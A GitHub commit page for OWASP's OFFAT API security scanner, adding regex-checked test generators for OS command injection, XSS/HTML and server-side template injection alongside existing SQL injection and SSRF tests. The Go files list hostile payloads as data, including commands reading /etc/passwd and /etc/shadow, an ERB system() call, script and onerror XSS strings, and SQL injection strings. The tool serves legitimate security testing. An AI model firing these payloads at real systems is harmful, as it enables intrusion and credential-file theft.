Skip to content

Commit

Permalink
Merge pull request #133 from OWASP/regex-based-payloads
Browse files Browse the repository at this point in the history
handle regex based payloads
  • Loading branch information
dmdhrumilmistry authored Aug 25, 2024
2 parents 0e04052 + 781c5d7 commit 49eed48
Show file tree
Hide file tree
Showing 12 changed files with 172 additions and 30 deletions.
8 changes: 4 additions & 4 deletions .github/workflows/test-project.yml
Original file line number Diff line number Diff line change
Expand Up @@ -26,14 +26,14 @@ jobs:
with:
go-version: '1.22.x'

- name: change cwd to project dir
run: cd ./src

- name: Install Dependencies
run: go mod download
working-directory: ./src

- name: Build Project
run: make build
working-directory: ./src

- name: Test with the Go CLI
run: make test
run: make test
working-directory: ./src
2 changes: 1 addition & 1 deletion src/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ scan-vulns:
docker: dbuild scan-vulns

build:
@go build -o bin/offat cmd/offat/main.go
@go build -o bin/offat cmd/offat/*

test:
@go test -cover -v ./...
Expand Down
3 changes: 3 additions & 0 deletions src/cmd/offat/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -115,6 +115,9 @@ func main() {
RunUnrestrictedHttpMethodTest: true,
RunBasicSQLiTest: true,
RunBasicSSRFTest: true,
RunOsCommandInjectionTest: true,
RunXssHtmlInjectionTest: true,
RunSstiInjectionTest: true,

// SSRF Test
SsrfUrl: *config.SsrfUrl,
Expand Down
16 changes: 8 additions & 8 deletions src/pkg/tgen/basicSqliTest.go → src/pkg/tgen/basicSqli.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,19 +8,19 @@ import (
func BasicSqliTest(baseUrl string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, injectionConfig InjectionConfig) []*ApiTest {
testName := "Basic SQLI Test"
vulnResponseCodes := []int{500}
immuneResponseCodes := []int{}

// TODO: implement injection in both keys and values
payloads := []string{
"' OR 1=1 ;--",
"' UNION SELECT 1,2,3 -- -",
"' OR '1'='1--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))abc)",
"' AND SLEEP(5) --",
payloads := []Payload{
{InjText: "' OR 1=1 ;--", VulnerableResponseCodes: vulnResponseCodes},
{InjText: "' UNION SELECT 1,2,3 -- -", VulnerableResponseCodes: vulnResponseCodes},
{InjText: "' OR '1'='1--", VulnerableResponseCodes: vulnResponseCodes},
{InjText: "' AND (SELECT * FROM (SELECT(SLEEP(5)))abc)", VulnerableResponseCodes: vulnResponseCodes},
{InjText: "' AND SLEEP(5) --", VulnerableResponseCodes: vulnResponseCodes},
}

injectionConfig.Payloads = payloads

tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, vulnResponseCodes, immuneResponseCodes, injectionConfig)
tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, injectionConfig)

return tests
}
8 changes: 5 additions & 3 deletions src/pkg/tgen/basicSsrf.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,12 +6,14 @@ import "github.com/OWASP/OFFAT/src/pkg/parser"
func BasicSsrfTest(ssrfUrl, baseUrl string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, injectionConfig InjectionConfig) []*ApiTest {
testName := "Basic SSRF Test"
vulnResponseCodes := []int{500}
immuneResponseCodes := []int{}
payloads := []string{ssrfUrl}

payloads := []Payload{
{InjText: ssrfUrl, VulnerableResponseCodes: vulnResponseCodes},
}

injectionConfig.Payloads = payloads

tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, vulnResponseCodes, immuneResponseCodes, injectionConfig)
tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, injectionConfig)

return tests
}
22 changes: 22 additions & 0 deletions src/pkg/tgen/osCommandInjection.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package tgen

import (
"github.com/OWASP/OFFAT/src/pkg/parser"
)

func BasicOsCommandInjectionTest(baseUrl string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, injectionConfig InjectionConfig) []*ApiTest {
testName := "Basic OS Command Injection Test"

// TODO: implement injection in both keys and values
payloads := []Payload{
{InjText: "cat /etc/passwd", Regex: "root:.*"},
{InjText: "cat /etc/shadow", Regex: "root:.*"},
{InjText: "ls -la", Regex: "total\\s\\d+"},
}

injectionConfig.Payloads = payloads

tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, injectionConfig)

return tests
}
15 changes: 8 additions & 7 deletions src/pkg/tgen/payloadInjection.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ func injectParamInParam(params *[]parser.Param, payload string) {
}

// generates Api tests by injecting payloads in values
func injectParamIntoApiTest(url string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, testName string, vulnResponseCodes, immuneResponseCodes []int, injectionConfig InjectionConfig) []*ApiTest {
func injectParamIntoApiTest(url string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, testName string, injectionConfig InjectionConfig) []*ApiTest {
var tests []*ApiTest
// TODO: only inject payloads if any payload is accepted by the endpoint, else ignore injection
// as this will reduce number of tests generated and increase efficiency
Expand All @@ -40,16 +40,16 @@ func injectParamIntoApiTest(url string, docParams []*parser.DocHttpParams, query
for _, docParam := range docParams {
// inject payloads into string before converting it to map[string]string
if injectionConfig.InBody {
injectParamInParam(&(docParam.BodyParams), payload)
injectParamInParam(&(docParam.BodyParams), payload.InjText)
}
if injectionConfig.InQuery {
injectParamInParam(&(docParam.QueryParams), payload)
injectParamInParam(&(docParam.QueryParams), payload.InjText)
}
if injectionConfig.InCookie {
injectParamInParam(&(docParam.CookieParams), payload)
injectParamInParam(&(docParam.CookieParams), payload.InjText)
}
if injectionConfig.InHeader {
injectParamInParam(&(docParam.HeaderParams), payload)
injectParamInParam(&(docParam.HeaderParams), payload.InjText)
}

// parse maps
Expand All @@ -75,8 +75,9 @@ func injectParamIntoApiTest(url string, docParams []*parser.DocHttpParams, query
Request: request,
Path: docParam.Path,
PathWithParams: pathWithParams,
VulnerableResponseCodes: vulnResponseCodes,
ImmuneResponseCodes: immuneResponseCodes,
VulnerableResponseCodes: payload.VulnerableResponseCodes,
ImmuneResponseCodes: payload.ImmuneResponseCodes,
MatchRegex: payload.Regex,
}
tests = append(tests, &test)
}
Expand Down
28 changes: 28 additions & 0 deletions src/pkg/tgen/sstiInjection.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
package tgen

import (
"github.com/OWASP/OFFAT/src/pkg/parser"
)

func BasicSstiInjectionTest(baseUrl string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, injectionConfig InjectionConfig) []*ApiTest {
testName := "Basic SSTI Injection Test"

// TODO: implement injection in both keys and values
payloads := []Payload{
{InjText: `${7777+99999}`, Regex: "107776"},
{InjText: `{{7*'7'}}`, Regex: "49"},
{InjText: `*{7*7}`, Regex: "49"},
{InjText: `{{7*'7'}}`, Regex: "7777777"},
{InjText: `{{ '<script>confirm(1337)</script>' }}`, Regex: `<script>confirm(1337)</script>`},
{InjText: `{{ '<script>confirm(1337)</script>' | safe }}`, Regex: `<script>confirm(1337)</script>`},
{InjText: `{{'owasp offat'.toUpperCase()}}`, Regex: `OWASP OFFAT`},
{InjText: `{{'owasp offat' | upper }}`, Regex: `OWASP OFFAT`},
{InjText: `<%= system('cat /etc/passwd') %>`, Regex: `root:.*`},
}

injectionConfig.Payloads = payloads

tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, injectionConfig)

return tests
}
15 changes: 13 additions & 2 deletions src/pkg/tgen/struct.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,12 @@ type ApiTest struct {
Request *client.Request `json:"request"`
Path string `json:"path"`
PathWithParams string `json:"path_with_params"`
MatchRegex string `json:"match_regex"` // regex used in post processing for detecting injection

// Fields to be populated after making HTTP request
IsVulnerable bool `json:"is_vulnerable"`
IsDataLeak bool `json:"is_data_leak"`
Response *client.ConcurrentResponse `json:"response"`
Response *client.ConcurrentResponse `json:"concurrent_response"`

// Post Request Process
VulnerableResponseCodes []int `json:"vulnerable_response_codes"`
Expand All @@ -28,9 +29,19 @@ type InjectionConfig struct {
InBody bool
InHeader bool
InCookie bool
Payloads []string
Payloads []Payload

// for vulnerable ssrf endpoint inject endpoint in query param
// example: https://ssrf-website.com?offat_test_endpoint=/api/v1/users
InjectUriInQuery bool
}

// Struct used for injecting payloads while generating tests
type Payload struct {
InjText string // text to be injected

// Post Processors
VulnerableResponseCodes []int // status code indicating API endpoint is vulnerable
ImmuneResponseCodes []int // status code indicating API endpoint is not vulnerable
Regex string // regex to be used for post processing
}
48 changes: 48 additions & 0 deletions src/pkg/tgen/tgen.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,9 @@ type TGenHandler struct {
RunUnrestrictedHttpMethodTest bool
RunBasicSQLiTest bool
RunBasicSSRFTest bool
RunOsCommandInjectionTest bool
RunXssHtmlInjectionTest bool
RunSstiInjectionTest bool

// SSRF Test related data
SsrfUrl string
Expand Down Expand Up @@ -46,6 +49,51 @@ func (t *TGenHandler) GenerateTests() []*ApiTest {
log.Info().Msgf("%d tests generated for Basic SQLI", len(newTests))
}

// Basic OS Command Injection Test
if t.RunOsCommandInjectionTest {
injectionConfig := InjectionConfig{
InBody: true,
InCookie: true,
InHeader: true,
InPath: true,
InQuery: true,
}
newTests := BasicOsCommandInjectionTest(t.BaseUrl, t.Doc, t.DefaultQueryParams, t.DefaultHeaders, injectionConfig)
tests = append(tests, newTests...)

log.Info().Msgf("%d tests generated for Basic OS Command Injection", len(newTests))
}

// Basic XSS/HTML Injection Test
if t.RunXssHtmlInjectionTest {
injectionConfig := InjectionConfig{
InBody: true,
InCookie: true,
InHeader: true,
InPath: true,
InQuery: true,
}
newTests := BasicXssHtmlInjectionTest(t.BaseUrl, t.Doc, t.DefaultQueryParams, t.DefaultHeaders, injectionConfig)
tests = append(tests, newTests...)

log.Info().Msgf("%d tests generated for Basic XSS/HTML Injection", len(newTests))
}

// Basic SSTI Command Injection Test
if t.RunSstiInjectionTest {
injectionConfig := InjectionConfig{
InBody: true,
InCookie: true,
InHeader: true,
InPath: true,
InQuery: true,
}
newTests := BasicSstiInjectionTest(t.BaseUrl, t.Doc, t.DefaultQueryParams, t.DefaultHeaders, injectionConfig)
tests = append(tests, newTests...)

log.Info().Msgf("%d tests generated for Basic OS Command Injection", len(newTests))
}

if t.RunBasicSSRFTest && utils.ValidateURL(t.SsrfUrl) {
injectionConfig := InjectionConfig{
InBody: true,
Expand Down
22 changes: 22 additions & 0 deletions src/pkg/tgen/xssHtmlInjection.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package tgen

import (
"github.com/OWASP/OFFAT/src/pkg/parser"
)

func BasicXssHtmlInjectionTest(baseUrl string, docParams []*parser.DocHttpParams, queryParams map[string]string, headers map[string]string, injectionConfig InjectionConfig) []*ApiTest {
testName := "Basic XSS/HTML Injection Test"

// TODO: implement injection in both keys and values
payloads := []Payload{
{InjText: "<script>confirm(1)</script>", Regex: `<script[^>]*>.*<\/script>`},
{InjText: "<script>alert(1)</script>", Regex: `<script[^>]*>.*<\/script>`},
{InjText: "<img src=x onerror='javascript:confirm(1),>", Regex: `<img[^>]*>`},
}

injectionConfig.Payloads = payloads

tests := injectParamIntoApiTest(baseUrl, docParams, queryParams, headers, testName, injectionConfig)

return tests
}
15 changes: 10 additions & 5 deletions src/pkg/trunner/postrunner/postrunner.go
Original file line number Diff line number Diff line change
@@ -1,9 +1,12 @@
package postrunner

import (
"regexp"

_ "github.com/OWASP/OFFAT/src/pkg/logging"
"github.com/OWASP/OFFAT/src/pkg/tgen"
"github.com/OWASP/OFFAT/src/pkg/utils"
"github.com/rs/zerolog/log"
)

// removes immune endpoints from the api tests slice
Expand All @@ -29,13 +32,15 @@ func UpdateStatusCodeBasedResult(apiTests *[]*tgen.ApiTest) {
}

if len(apiTest.ImmuneResponseCodes) > 0 {
if !utils.SearchInSlice(apiTest.ImmuneResponseCodes, apiTest.Response.Response.StatusCode) {
apiTest.IsVulnerable = true
}
apiTest.IsVulnerable = !utils.SearchInSlice(apiTest.ImmuneResponseCodes, apiTest.Response.Response.StatusCode)
} else if len(apiTest.VulnerableResponseCodes) > 0 {
if utils.SearchInSlice(apiTest.VulnerableResponseCodes, apiTest.Response.Response.StatusCode) {
apiTest.IsVulnerable = true
apiTest.IsVulnerable = utils.SearchInSlice(apiTest.VulnerableResponseCodes, apiTest.Response.Response.StatusCode)
} else if len(apiTest.MatchRegex) > 0 {
isVuln, err := regexp.Match(apiTest.MatchRegex, apiTest.Response.Response.Body)
if err != nil {
log.Error().Stack().Err(err).Msg("failed to validate match regex against response body")
}
apiTest.IsVulnerable = isVuln
}
}
}

0 comments on commit 49eed48

Please sign in to comment.